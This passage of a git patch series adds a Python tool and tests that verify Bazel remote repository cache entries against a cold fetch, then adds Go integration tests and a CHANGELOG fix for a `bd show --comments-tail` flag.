invalid.append("entry %s: neither a final nor an intermediate result" % h) + continue + stdout = ar.stdout_raw if ar.stdout_raw else cache.blob(ar.stdout_digest) + for batch in stdout.decode("latin-1").splitlines(): + rolling = h + for inp in batch.split(" "): + line = recorded.get(inp) + if line is None: + break # the cold fetch recorded other inputs: not this branch + rolling = roll_forward(rolling, line) + else: + nxt.append(rolling) + if not nxt: + return None, invalid + current = nxt + invalid.append("more than %d intermediate hops" % MAX_CHAIN) + return None, invalid + + +def read_bytes(path: str) -> bytes: + with open(path, "rb") as f: + return f.read() + + +def _sha256_file(path: str) -> tuple[str, int]: + h, n = hashlib.sha256(), 0 + with open(path, "rb") as f: + while chunk := f.read(1 << 20): + h.update(chunk) + n += len(chunk) + return h.hexdigest(), n + + +def compare_tree(root: Directory, children: dict, local: str) -> list: + """Differences between the cached tree and the cold directory local.""" + diffs = [] + + def walk(d: Directory, path: str, rel: str) -> None: + if len(diffs) >= MAX_DIFFS: + return + try: + names = set(os.listdir(path)) + except OSError as e: + diffs.append("%s: cannot list the cold directory (%s)" % (rel or ".", e)) + return + remote = set(d.files) | set(d.dirs) | set(d.symlinks) + for n in sorted(remote - names): + diffs.append("%s: only in the cache" % os.path.join(rel, n)) + for n in sorted(names - remote): + diffs.append("%s: only in the cold fetch" % os.path.join(rel, n)) + for n in sorted(remote & names): + if len(diffs) >= MAX_DIFFS: + return + p, r = os.path.join(path, n), os.path.join(rel, n) + st = os.lstat(p) + if n in d.symlinks: + if not stat.S_ISLNK(st.st_mode): + diffs.append("%s: a symlink in the cache, not in the cold fetch" % r) + elif os.readlink(p) != d.symlinks[n]: + diffs.append("%s: symlink to %r in the cache, %r cold" % (r, d.symlinks[n], os.readlink(p))) + continue + try: + st = os.stat(p) # the upload follows symlinks it does not keep + except OSError as e: + diffs.append("%s: dangling in the cold fetch (%s)" % (r, e)) + continue + if n in d.files: + dg, exe = d.files[n] + if not stat.S_ISREG(st.st_mode): + diffs.append("%s: a file in the cache, not in the cold fetch" % r) + continue + h, size = _sha256_file(p) + if dg is None or (h, size) != (dg.hash, dg.size): + diffs.append("%s: content differs (cache %s/%s, cold %s/%d)" % (r, dg and dg.hash, dg and dg.size, h, size)) + if exe != bool(st.st_mode & stat.S_IXUSR): + diffs.append("%s: executable bit differs (cache %s)" % (r, exe)) + else: + if not stat.S_ISDIR(st.st_mode): + diffs.append("%s: a directory in the cache, not in the cold fetch" % r) + continue + child = children.get(d.dirs[n].hash) + if child is None: + diffs.append("%s: the Tree lacks directory %s" % (r, d.dirs[n].hash)) + continue + walk(child, p, r) + + walk(root, local, "") + return diffs + + +def verify_repo(cache: Cache, guid: str, external: str, name: str) -> Result: + marker = os.path.join(external, "@%s.marker" % name) + try: + predeclared, recorded = read_marker(marker) + final, invalid = find_final(cache, guid, predeclared, recorded) + if invalid: + return Result(name, "invalid", invalid) + if final is None: + return Result(name, "not_cached") + diffs = [] + path, mdg, _, contents = final.output_files[0] + dpath, tree = final.output_directories[0] + if path != MARKER_FILE_PATH or dpath != REPO_DIRECTORY_PATH or tree is None or mdg is None: + return Result(name, "invalid", ["final entry outputs %r and %r" % (path, dpath)]) + cached_marker = contents if contents else cache.blob(mdg) + if cached_marker != read_bytes(marker): + diffs.append("%s: marker file differs" % MARKER_FILE_PATH) + root, children = decode_tree(cache.blob(tree)) + diffs += compare_tree(root, children, os.path.join(external, name)) + return Result(name, "mismatch" if diffs else "match", diffs[:MAX_DIFFS]) + except (RPCError, ValueError, OSError) as e: + return Result(name, "error", [str(e)]) + + +def repos(external: str) -> list: + out = [] + for f in sorted(os.listdir(external)): + if f.startswith("@") and f.endswith(".marker") and os.path.isdir(os.path.join(external, f[1:-7])): + out.append(f[1:-7]) + return out + + +def verify(cache: Cache, guid: str, output_base: str, jobs: int) -> list: + external = os.path.join(output_base, "external") + names = repos(external) + with concurrent.futures.ThreadPoolExecutor(max_workers=jobs) as pool: + return list(pool.map(lambda n: verify_repo(cache, guid, external, n), names)) + + +def summarize(results: list) -> dict: + counts = {} + for r in results: + counts[r.status] = counts.get(r.status, 0) + 1 + return counts + + +def exit_status(results: list, max_error_fraction: float) -> int: + counts = summarize(results) + if counts.get("mismatch") or counts.get("invalid"): + return 1 + if not results or counts.get("error", 0) > max_error_fraction * len(results): + return 2 + return 0 + + +def main(argv: Optional[list] = None) -> int: + ap = argparse.ArgumentParser(description=__doc__.split("\n")[0]) + ap.add_argument("--output-base", required=True, help="the cold fetch's output base") + ap.add_argument("--endpoint", required=True, help="grpcs://host:port or grpc://host:port") + ap.add_argument("--instance", default="oss") + ap.add_argument("--cert", default="") + ap.add_argument("--key", default="") + ap.add_argument("--ca", default="") + ap.add_argument("--bazel-version", required=True, help="the release that wrote the entries (.bazelversion)") + ap.add_argument("--jobs", type=int, default=16) + ap.add_argument("--max-error-fraction", type=float, default=0.01, help="transport errors tolerated before exit 2") + ap.add_argument("--json", default="", help="write the full report here") + ap.add_argument("--summary", default="", help="append a Markdown summary here (GITHUB_STEP_SUMMARY)") + a = ap.parse_args(argv) + guid = BAZEL_RRC_GUIDS.get(a.bazel_version) + if guid is None: + print("rrc-verify: no GUID for Bazel %s; add RemoteRepoContentsCacheImpl.GUID to BAZEL_RRC_GUIDS" % a.bazel_version, file=sys.stderr) + return 2 + if bool(a.cert) != bool(a.key): + print("rrc-verify: --cert and --key go together", file=sys.stderr) + return 2 + cache = Cache(CurlTransport(a.endpoint, a.cert, a.key, a.ca).call, a.instance) + results = verify(cache, guid, a.output_base, a.jobs) + counts = summarize(results) + bad = [r for r in results if r.status in ("mismatch", "invalid", "error")] + lines = ["rrc-verify: %d repositories: %s" % (len(results), ", ".join("%s %d" % kv for kv in sorted(counts.items())))] + for r in bad: + lines.append(" %s %s: %s" % (r.status, r.repo, "; ".join(r.detail))) + print("\n".join(lines)) + if a.json: + with open(a.json, "w") as f: + json.dump({"counts": counts, "results": [dataclasses.asdict(r) for r in results if r.status != "match"]}, f, indent=1) + if a.summary: + with open(a.summary, "a") as f: + f.write("### Remote repo contents cache verification\n\n") + f.write("| status | repositories |\n|---|---|\n") + for k, v in sorted(counts.items()): + f.write("| %s | %d |\n" % (k, v)) + for r in bad[:50]: + f.write("\n- **%s** `%s`: %s" % (r.status, r.repo, "; ".join(r.detail)[:500])) + f.write("\n") + return exit_status(results, a.max_error_fraction) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/bazel/rrc_verify_test.py b/tools/bazel/rrc_verify_test.py new file mode 100644 index 000000000..ac5ef9eef --- /dev/null +++ b/tools/bazel/rrc_verify_test.py @@ -0,0 +1,323 @@ +"""Tests for tools/bazel/rrc_verify.py (ga-vnycm2.26). + +The golden keys below come from Bazel 9.3.0 itself: it wrote the entries +(`bazel test --nobuild --experimental_remote_repo_contents_cache +--remote_upload_local_results` into a throwaway NativeLink 1.7.1), and +rrc_verify found 1124 of 1124 cached repositories under the keys it computes. +Everything else runs against an in-memory cache. +""" + +import hashlib +import os +import stat +import tempfile +import unittest + +import rrc_verify as v + +GUID = v.BAZEL_RRC_GUIDS["9.3.0"] + +# gazelle++go_deps+com_github_aleksi_pointer, a go_repository: its marker +# (predeclared hash, then recorded inputs) and the chain of intermediate +# entries Bazel 9.3.0 wrote for it, one batch per hop. +POINTER_MARKER = ( + "d2e29605e9f6822328a5f4d0fcacfc80203bd61260f860e6f9a942ec96a5927b\n" + "FILE:@@gazelle++go_deps+bazel_gazelle_go_repository_config//go.env f46153b50029d3d4a489ba97ee1b14e811f12f76a6e41fa6471c92ea6dc957a9\n" + "REPO_MAPPING:gazelle+,bazel_gazelle_go_repository_cache gazelle++non_module_deps+bazel_gazelle_go_repository_cache\n" + "FILE:@@gazelle++non_module_deps+bazel_gazelle_go_repository_cache//go.env f46153b50029d3d4a489ba97ee1b14e811f12f76a6e41fa6471c92ea6dc957a9\n" + "REPO_MAPPING:gazelle+,bazel_gazelle_go_repository_tools +go_repository_tools+gazelle_go_repository_tools\n" + "FILE:@@+go_repository_tools+gazelle_go_repository_tools//bin/fetch_repo 8b1288089311dc63c3d4b04c433d9ba11df5b09b5e8fdb1f8db0804f360ca6c0\n" + "ENV:GO_REPOSITORY_EPHEMERAL_MODCACHE \\0\n" + "FILE:@@+go_repository_tools+gazelle_go_repository_tools//bin/gazelle 1b764f6d9ad08e324bdcab429c3105815b8914f289d594acfc791bdac2bc2b2c\n" + "FILE:@@gazelle++go_deps+bazel_gazelle_go_repository_config//WORKSPACE cc988347dd32755bac20223ea21cd982da6da90d9113dee8ccd4c4b88b3983db\n" +) +# (input hash, its AC key, the intermediate entry's stdout) +POINTER_CHAIN = [ + ("d2e29605e9f6822328a5f4d0fcacfc80203bd61260f860e6f9a942ec96a5927b", + "add188cbb3ec90ac802738e80e42516a17ba75e7563efffa80f64fee38edf866", + "FILE:@@gazelle++go_deps+bazel_gazelle_go_repository_config//go.env REPO_MAPPING:gazelle+,bazel_gazelle_go_repository_cache\n"), + ("8bc57512298f35dd223a75991454f01b20e0581fc5b3cb9ad7e26521a3b89db2", + "5a07101d8884c3f86496450121a048660f511b33076205395149ef6c369ef719", + "FILE:@@gazelle++non_module_deps+bazel_gazelle_go_repository_cache//go.env REPO_MAPPING:gazelle+,bazel_gazelle_go_repository_tools\n"), + ("07b34597f53e981474b3e4952e51c5caa2ba3877f61ad0cc2fe39c84f51acc8f", + "f7eac27fd1a860cc4563bf18f42f0672d533e171341e7293aae8b5f5d8cdebc3", + "FILE:@@+go_repository_tools+gazelle_go_repository_tools//bin/fetch_repo ENV:GO_REPOSITORY_EPHEMERAL_MODCACHE\n"), + ("1ef1aa4b4cb73c42f39465f8feba3ae846c412e5a0a7f2790264264c1941df6e", + "531c6579bec5634c2744fdd5b90ea123739d431991472877bffe3548c86697b1", + "FILE:@@+go_repository_tools+gazelle_go_repository_tools//bin/gazelle\n"), + ("edc467b59551f6058310c401062c51315e9a1c3b2bc8ec0a57d7411d7ca4b6dc", + "94a6fc01bd63b6c1506919e676603784eb73e9049b121c4580aaf6e75893d276", + "FILE:@@gazelle++go_deps+bazel_gazelle_go_repository_config//WORKSPACE\n"), +] # fmt: skip +POINTER_FINAL_HASH = "3ceee7642907f9b23db2d1944d05314384151ca509d432eca651bdee2d61997c" +POINTER_FINAL_KEY = v.Digest("b0ca33d505c031b1ee5aa17138c14135803b0989ef76f3203999a316a933e2f2", 206) + + +# --- an in-memory cache --------------------------------------------------------- + + +def enc_directory(files=(), dirs=(), symlinks=()): + out = b"" + for name, dg, exe in sorted(files): + node = v._field(1, name.encode()) + v._field(2, dg.encode()) + if exe: + node += v._field_varint(4, 1) + out += v._field(1, node) + for name, dg in sorted(dirs): + out += v._field(2, v._field(1, name.encode()) + v._field(2, dg.encode())) + for name, target in sorted(symlinks): + out += v._field(3, v._field(1, name.encode()) + v._field(2, target.encode())) + return out + + +class FakeCache: + """An AC (input hash -> ActionResult bytes) and a CAS, behind Cache's rpc.""" + + def __init__(self): + self.ac, self.cas = {}, {} + + def put_blob(self, data): + d = v.Digest.of(data) + self.cas[d.hash] = data + return d + + def tree_of(self, path): + """Uploads path's files and returns the Tree digest (as Bazel would).""" + children = [] + + def directory(p): + files, dirs, links = [], [], [] + for n in sorted(os.listdir(p)): + q = os.path.join(p, n) + st = os.lstat(q) + if stat.S_ISLNK(st.st_mode): + links.append((n, os.readlink(q))) + elif stat.S_ISDIR(st.st_mode): + raw = directory(q) + children.append(raw) + dirs.append((n, v.Digest.of(raw))) + else: + data = v.read_bytes(q) + files.append((n, self.put_blob(data), bool(st.st_mode & stat.S_IXUSR))) + return enc_directory(files, dirs, links) + + root = directory(path) + tree = v._field(1, root) + b"".join(v._field(2, c) for c in children) + return self.put_blob(tree) + + def put_final(self, input_hash, marker, tree, exit_code=0): + md = self.put_blob(marker) + ar = ( + v._field(2, v._field(1, v.MARKER_FILE_PATH.encode()) + v._field(2, md.encode())) + + v._field(3, v._field(1, v.REPO_DIRECTORY_PATH.encode()) + v._field(3, tree.encode())) + ) + if exit_code: + ar += v._field_varint(4, exit_code) + self.ac[input_hash] = ar + + def put_intermediate(self, input_hash, stdout, raw=True): + if raw: + self.ac[input_hash] = v._field(5, stdout.encode()) + v._field(6, v.Digest.of(stdout.encode()).encode()) + else: + self.ac[input_hash] = v._field(6, self.put_blob(stdout.encode()).encode()) + + def rpc(self, method, request): + if method.endswith("ActionCache/GetActionResult"): + key = None + for num, _, val in v.fields(request): + if num == 2: + key = v.Digest.decode(val) + for h, ar in self.ac.items(): + if v.action_digest(GUID, h) == key: + return [ar] + raise v.RPCError(v.GRPC_NOT_FOUND, "not found") + if method.endswith("ByteStream/Read"): + name = bytes(next(val for num, _, val in v.fields(request) if num == 1)).decode() + _, _, h, size = name.split("/") + data = self.cas.get(h) + if data is None: + raise v.RPCError(v.GRPC_NOT_FOUND, "no blob") + return [v._field(10, data[: len(data) // 2]), v._field(10, data[len(data) // 2 :])] + raise AssertionError(method) + + +def write(path, data, mode=0o644): + os.makedirs(os.path.dirname(path), exist_ok=True) + with open(path, "wb") as f: + f.write(data) + os.chmod(path, mode) + + +class Fixture: + """A cold output base with one repository, cached as fetched.""" + + def __init__(self, test, name="repo", marker=b"h0\n"): + self.tmp = tempfile.TemporaryDirectory() + test.addCleanup(self.tmp.cleanup) + self.ext = os.path.join(self.tmp.name, "external") + self.name = name + self.dir = os.path.join(self.ext, name) + write(os.path.join(self.dir, "BUILD.bazel"), b"filegroup(name = 'x')\n") + write(os.path.join(self.dir, "bin", "tool"), b"#!/bin/sh\n", 0o755) + write(os.path.join(self.dir, "sub", "deep", "data.txt"), b"data\n") + os.makedirs(os.path.join(self.dir, "empty")) + os.symlink("bin/tool", os.path.join(self.dir, "link")) + self.marker = marker + write(os.path.join(self.ext, "@%s.marker" % name), marker) + self.cache = FakeCache() + + def seed(self, input_hash="h0"): + self.cache.put_final(input_hash, self.marker, self.cache.tree_of(self.dir)) + + def verify(self): + return v.verify_repo(v.Cache(self.cache.rpc, "oss"), GUID, self.ext, self.name) + + +class KeysTest(unittest.TestCase): + def test_action_digest_matches_bazel_9_3_0(self): + for h, key, _ in POINTER_CHAIN: + self.assertEqual(v.action_digest(GUID, h).hash, key) + self.assertEqual(v.action_digest(GUID, POINTER_FINAL_HASH), POINTER_FINAL_KEY) + + def test_roll_forward_matches_bazel_9_3_0(self): + tmp = tempfile.TemporaryDirectory() + self.addCleanup(tmp.cleanup) + path = os.path.join(tmp.name, "m") + write(path, POINTER_MARKER.encode()) + predeclared, recorded = v.read_marker(path) + self.assertEqual(predeclared, POINTER_CHAIN[0][0]) + h = predeclared + for i, (want, _, stdout) in enumerate(POINTER_CHAIN): + self.assertEqual(h, want, "hop %d" % i) + for inp in stdout.strip().split(" "): + h = v.roll_forward(h, recorded[inp]) + self.assertEqual(h, POINTER_FINAL_HASH) + + def test_guid_for_every_release_is_a_uuid(self): + for release, guid in v.BAZEL_RRC_GUIDS.items(): + self.assertRegex(guid, r"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", release) + + def test_bazelversion_has_a_guid(self): + root = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(v.__file__)))) + path = os.path.join(root, ".bazelversion") + version = v.read_bytes(path).decode().strip() + self.assertIn(version, v.BAZEL_RRC_GUIDS, "a .bazelversion bump must add RemoteRepoContentsCacheImpl.GUID") + + +class VerifyRepoTest(unittest.TestCase): + def test_match(self): + f = Fixture(self) + f.seed() + r = f.verify() + self.assertEqual((r.status, r.detail), ("match", [])) + + def test_not_cached(self): + f = Fixture(self) + self.assertEqual(f.verify().status, "not_cached") + + def test_content_poisoned(self): + f = Fixture(self) + f.seed() + write(os.path.join(f.dir, "sub", "deep", "data.txt"), b"other\n") + r = f.verify() + self.assertEqual(r.status, "mismatch") + self.assertIn("sub/deep/data.txt: content differs", " ".join(r.detail)) + + def test_extra_and_missing_files(self): + f = Fixture(self) + f.seed() + write(os.path.join(f.dir, "init.go"), b"package x\n") + os.remove(os.path.join(f.dir, "BUILD.bazel")) + detail = " ".join(f.verify().detail) + self.assertIn("init.go: only in the cold fetch", detail) + self.assertIn("BUILD.bazel: only in the cache", detail) + + def test_executable_bit(self): + f = Fixture(self) + f.seed() + os.chmod(os.path.join(f.dir, "bin", "tool"), 0o644) + self.assertIn("bin/tool: executable bit differs", " ".join(f.verify().detail)) + + def test_symlink_target(self): + f = Fixture(self) + f.seed() + os.remove(os.path.join(f.dir, "link")) + os.symlink("sub", os.path.join(f.dir, "link")) + self.assertIn("link: symlink to", " ".join(f.verify().detail)) + + def test_empty_directory(self): + f = Fixture(self) + f.seed() + os.rmdir(os.path.join(f.dir, "empty")) + self.assertIn("empty: only in the cache", " ".join(f.verify().detail)) + + def test_marker_differs(self): + f = Fixture(self) + f.seed() + write(os.path.join(f.ext, "@repo.marker"), b"h0\nENV:X 1\n") + r = f.verify() + self.assertEqual(r.status, "mismatch") + self.assertIn("marker file differs", " ".join(r.detail)) + + def test_intermediate_chain(self): + marker = b"p0\nENV:A 1\nFILE:@@x//y abc\nENV:B \\0\n" + f = Fixture(self, marker=marker) + h1 = v.roll_forward(v.roll_forward("p0", "ENV:A 1"), "FILE:@@x//y abc") + h2 = v.roll_forward(h1, "ENV:B \\0") + f.cache.put_intermediate("p0", "ENV:Z\nENV:A FILE:@@x//y\n") # the first batch is another fetch's + f.cache.put_intermediate(h1, "ENV:B\n", raw=False) + f.seed(h2) + r = f.verify() + self.assertEqual((r.status, r.detail), ("match", [])) + + def test_intermediate_without_a_matching_batch(self): + f = Fixture(self, marker=b"p0\nENV:A 1\n") + f.cache.put_intermediate("p0", "ENV:Q\n") + f.seed(v.roll_forward("p0", "ENV:A 2")) # another value of A: not this fetch's + self.assertEqual(f.verify().status, "not_cached") + + def test_invalid_exit_code(self): + f = Fixture(self) + f.cache.put_final("h0", f.marker, f.cache.tree_of(f.dir), exit_code=1) + self.assertEqual(f.verify().status, "invalid") + + def test_invalid_shape(self): + f = Fixture(self) + f.cache.ac["h0"] = v._field_varint(4, 0) + v._field(7, b"stderr") + self.assertEqual(f.verify().status, "invalid") + + def test_tampered_blob_is_an_error(self): + f = Fixture(self) + f.seed() + tree = next(d for d in f.cache.cas if f.cache.cas[d].startswith(b"\x0a")) + f.cache.cas[tree] = f.cache.cas[tree] + b"\x00" + self.assertEqual(f.verify().status, "error") + + +class ReportTest(unittest.TestCase): + def test_exit_status(self): + R = v.Result + self.assertEqual(v.exit_status([R("a", "match"), R("b", "not_cached")], 0.01), 0) + self.assertEqual(v.exit_status([R("a", "match"), R("b", "mismatch")], 0.01), 1) + self.assertEqual(v.exit_status([R("a", "invalid")], 0.01), 1) + self.assertEqual(v.exit_status([R("a", "error")] + [R(str(i), "match") for i in range(200)], 0.01), 0) + self.assertEqual(v.exit_status([R("a", "error"), R("b", "match")], 0.01), 2) + self.assertEqual(v.exit_status([], 0.01), 2) + + def test_repos_lists_marked_repositories(self): + tmp = tempfile.TemporaryDirectory() + self.addCleanup(tmp.cleanup) + ext = os.path.join(tmp.name, "external") + for n in ("a", "b+c"): + os.makedirs(os.path.join(ext, n)) + write(os.path.join(ext, "@%s.marker" % n), b"h\n") + os.makedirs(os.path.join(ext, "unmarked")) + write(os.path.join(ext, "@gone.marker"), b"h\n") + self.assertEqual(v.repos(ext), ["a", "b+c"]) + + def test_unknown_release_is_a_usage_error(self): + self.assertEqual(v.main(["--output-base", "/x", "--endpoint", "grpc://x:1", "--bazel-version", "0.0.0"]), 2) + + +if __name__ == "__main__": + unittest.main() From 9f5028c78ebc6d9389197bf00c30c37a96615ff4 Mon Sep 17 00:00:00 2001 From: Bee Date: Sat, 10 Oct 2026 02:50:41 +0000 Subject: [PATCH 205/325] test(show): run --comments-tail through every show route; CHANGELOG bullet under Added (#6618 follow-ups) (#7383) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Follow-ups from the #6618 adoption review, neither addressed there: - bd-6gl9h7 (Test Evidence Quality): no committed test ran `bd show` with --comments-tail set. show_comments_tail_test.go calls printComments and renderWatchComments directly, so passing 0 at any of the three call sites (show.go direct, show_display.go --watch, show_proxied_server.go / show_proxied_watch.go proxied) still passed the suite. TestEmbeddedShowCommentsTail (direct, direct --watch) and TestProxiedServerShowCommentsTail (proxied, proxied --watch) now run the built binary through each route over the same three comments with --comments-tail 1, and check the elision line, the surviving newest comment, the absence of both hidden ones, the off state (0 and a cap above the count) byte-identical to the flag's absence, the negative usage error, and --json --include-comments untouched. Mutating each call site to pass 0 fails the matching route tests (direct: direct_tail_1 + watch_tail_1; proxied: proxied_tail_1 + proxied_watch_tail_1) and nothing else. The off-state comparison strips the "💡 Tip:" line maybeShowTip may append after a direct text render (a per-run probability roll behind a per-tip frequency gate, independent of the flag); without that, the first render of a fresh store can carry the tip and the comparison fails on it. The embedded half lives in a *_embedded_test.go file because gen_embedded_cmd_shard_manifest.py discovers TestEmbedded* only there; both tests are registered in their shard manifests (--write, then --check rc 0 at 50 and 30) and in cmd/bd's go_test srcs. - bd-l6f1r7 (Release Safety): the CHANGELOG bullet for the flag sat under "### Fixed" in [Unreleased]; it is now the first bullet under the section's "### Added". Ran (GOTOOLCHAIN=go1.26.7): go vet ./cmd/bd/; gofmt -l; go test ./scripts/ -run 'Shard|Manifest|Coverage'; embedded leg (BEADS_TEST_EMBEDDED_DOLT=1) -run TestEmbeddedShowCommentsTail -count=3: 15/15 subtests PASS; proxied leg (BEADS_TEST_PROXIED_SERVER=1, BEADS_TEST_DOLT_SERVER=local, dolt 2.2.0, -tags gms_pure_go) -run TestProxiedServerShowCommentsTail: 5/5 PASS, 0 SKIP. Co-authored-by: Claude Fable 5.1 --- .github/scripts/embedded-cmd-test-shards.txt | 1 + .github/scripts/proxied-cmd-test-shards.txt | 1 + CHANGELOG.md | 18 +- cmd/bd/BUILD.bazel | 2 + cmd/bd/show_comments_tail_embedded_test.go | 69 ++++++ ..._comments_tail_proxied_integration_test.go | 208 ++++++++++++++++++ 6 files changed, 290 insertions(+), 9 deletions(-) create mode 100644 cmd/bd/show_comments_tail_embedded_test.go create mode 100644 cmd/bd/show_comments_tail_proxied_integration_test.go diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index e6987e1f4..19022d08d 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -313,6 +313,7 @@ 100 65 TestEmbeddedSupersede 100 66 TestEmbeddedCloseBasicIsolatedStores +100 66 TestEmbeddedShowCommentsTail 100 67 TestEmbeddedAdminCompactReadOnlyAllowed 100 67 TestEmbeddedAutoImportFallback_ConflictSkip_DoesNotClobber diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 72e73e898..97ff8d2cd 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -335,6 +335,7 @@ 34 12 TestProxiedServerReadyB 34 12 TestProxiedServerReadyWisp 34 12 TestProxiedServerReclaim +34 12 TestProxiedServerShowCommentsTail 34 12 TestProxiedServerUnclaim 34 13 TestProxiedServerCompactDolt diff --git a/CHANGELOG.md b/CHANGELOG.md index 6b52a5b5a..20024c147 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `dolt.auto-commit` the way `bd prune` does, as `bd: reclaim N expired lease(s)` on both routes. Over a connected HTTP workspace `bd reclaim` now works instead of refusing. +- **`bd show --comments-tail N`** renders only the last N comments in text + output (including under `--watch`) + ([#6618](https://github.com/gastownhall/beads/pull/6618)), preceded by one + elision line naming how many older ones were hidden. A render-only cap for + fat, append-only beads whose full comment history is hundreds of KB — + description and metadata are unchanged, and omitting the flag (or passing + `0`) is byte-identical to today's output. JSON output is untouched; + `--include-comments` still streams every comment there. + - `bd create --graph` now plans its batch through `issueops.BatchApplier` instead of the old `buildDomainGraphPlan` path, so a graph create gets the same atomic multi-row semantics as `bd batch apply`. A `waits-for` edge's @@ -1351,15 +1360,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 open, including the library API, `bd doctor --fix` and `bd bootstrap`, keeps the existing message. -- **`bd show --comments-tail N`** renders only the last N comments in text - output (including under `--watch`) - ([#6618](https://github.com/gastownhall/beads/pull/6618)), preceded by one - elision line naming how many older ones were hidden. A render-only cap for - fat, append-only beads whose full comment history is hundreds of KB — - description and metadata are unchanged, and omitting the flag (or passing - `0`) is byte-identical to today's output. JSON output is untouched; - `--include-comments` still streams every comment there. - ### Changed - **The managed shared Dolt server now opens its configured remotesapi diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 7d1742cef..eb8aa6cd2 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1124,6 +1124,8 @@ go_test( "shared_store_migrate_gate_test.go", "ship_embedded_test.go", "show_brief_deps_test.go", + "show_comments_tail_embedded_test.go", + "show_comments_tail_proxied_integration_test.go", "show_comments_tail_test.go", "show_current_test.go", "show_details_json_test.go", diff --git a/cmd/bd/show_comments_tail_embedded_test.go b/cmd/bd/show_comments_tail_embedded_test.go new file mode 100644 index 000000000..8b5dafd4a --- /dev/null +++ b/cmd/bd/show_comments_tail_embedded_test.go @@ -0,0 +1,69 @@ +//go:build cgo + +package main + +import ( + "os" + "strings" + "testing" +) + +// Direct-route half of the --comments-tail route tests; fixtures and the +// proxied half are in show_comments_tail_proxied_integration_test.go. + +// TestEmbeddedShowCommentsTail drives the direct route (show.go) and the +// direct --watch route (show_display.go) through the built binary. +func TestEmbeddedShowCommentsTail(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "ct") + issue := bdCreate(t, bd, dir, "Tail me", "--type", "task") + for _, text := range commentsTailTexts { + if out, err := bdRunWithFlockRetry(t, bd, dir, "comments", "add", issue.ID, text); err != nil { + t.Fatalf("bd comments add %q failed: %v\n%s", text, err, out) + } + } + + t.Run("direct_tail_1", func(t *testing.T) { + out := bdShowRaw(t, bd, dir, issue.ID, "--comments-tail", "1") + assertCommentsTailOne(t, "direct", out, issue.ID) + }) + + t.Run("direct_off_state_matches_absence", func(t *testing.T) { + without := bdShowRaw(t, bd, dir, issue.ID) + assertCommentsTailOff(t, "direct --comments-tail 0", bdShowRaw(t, bd, dir, issue.ID, "--comments-tail", "0"), without) + assertCommentsTailOff(t, "direct --comments-tail 5", bdShowRaw(t, bd, dir, issue.ID, "--comments-tail", "5"), without) + }) + + t.Run("direct_negative_is_usage_error", func(t *testing.T) { + out := bdShowFail2(t, bd, dir, issue.ID, "--comments-tail", "-1") + if !strings.Contains(out, "--comments-tail") || !strings.Contains(out, "non-negative") { + t.Errorf("negative cap did not fail as a usage error:\n%s", out) + } + }) + + t.Run("direct_json_untouched", func(t *testing.T) { + withFlag, err := bdRunWithFlockRetry(t, bd, dir, "show", issue.ID, "--json", "--include-comments", "--comments-tail", "1") + if err != nil { + t.Fatalf("bd show --json --comments-tail 1 failed: %v\n%s", err, withFlag) + } + without, err := bdRunWithFlockRetry(t, bd, dir, "show", issue.ID, "--json", "--include-comments") + if err != nil { + t.Fatalf("bd show --json failed: %v\n%s", err, without) + } + if string(withFlag) != string(without) { + t.Errorf("--json output changed under --comments-tail 1\n--- with flag\n%s\n--- without\n%s", withFlag, without) + } + if !strings.Contains(string(withFlag), commentsTailOldest) { + t.Errorf("--json --include-comments dropped the oldest comment under --comments-tail 1:\n%s", withFlag) + } + }) + + t.Run("watch_tail_1", func(t *testing.T) { + out := runShowWatchOnce(t, bd, dir, bdEnv(dir), issue.ID, "--watch", "--comments-tail", "1") + assertCommentsTailOne(t, "direct --watch", out, issue.ID) + }) +} diff --git a/cmd/bd/show_comments_tail_proxied_integration_test.go b/cmd/bd/show_comments_tail_proxied_integration_test.go new file mode 100644 index 000000000..ea56a1677 --- /dev/null +++ b/cmd/bd/show_comments_tail_proxied_integration_test.go @@ -0,0 +1,208 @@ +//go:build cgo + +package main + +import ( + "fmt" + "os/exec" + "strings" + "syscall" + "testing" + "time" +) + +// Route tests for `bd show --comments-tail N` (#6618 follow-up, bd-6gl9h7): +// the shared fixtures and the proxied routes live here; the direct routes +// are in show_comments_tail_embedded_test.go, which the embedded cmd shard +// manifest discovers by its *_embedded_test.go name. +// +// show_comments_tail_test.go pins printComments and renderWatchComments by +// calling them directly, so a regression that passed 0 at any of the three +// call sites — show.go (direct), show_display.go (direct --watch), +// show_proxied_server.go / show_proxied_watch.go (proxied, plain and +// --watch) — would still pass that file. These tests run the built binary +// through every route with the flag set, over the same three comments, and +// read the rendered text: the elision line names the hidden count and the +// issue, only the newest comment survives the cap, and the flag's off state +// (0, or a cap above the count) is byte-identical to its absence. + +const ( + commentsTailOldest = "CT-OLDEST-ALPHA" + commentsTailOlder = "CT-OLDER-BRAVO" + commentsTailNewest = "CT-NEWEST-CHARLIE" +) + +var commentsTailTexts = []string{commentsTailOldest, commentsTailOlder, commentsTailNewest} + +// commentsTailElision is the one muted line printComments prints in front of +// a capped render; the text is pinned here so a reworded line fails every +// route at once rather than one route drifting. +func commentsTailElision(hidden int, issueID string) string { + noun := "comments" + if hidden == 1 { + noun = "comment" + } + return fmt.Sprintf("… %d older %s hidden — bd show %s for the full record", hidden, noun, issueID) +} + +// assertCommentsTailOne checks a text render of the three-comment issue +// under 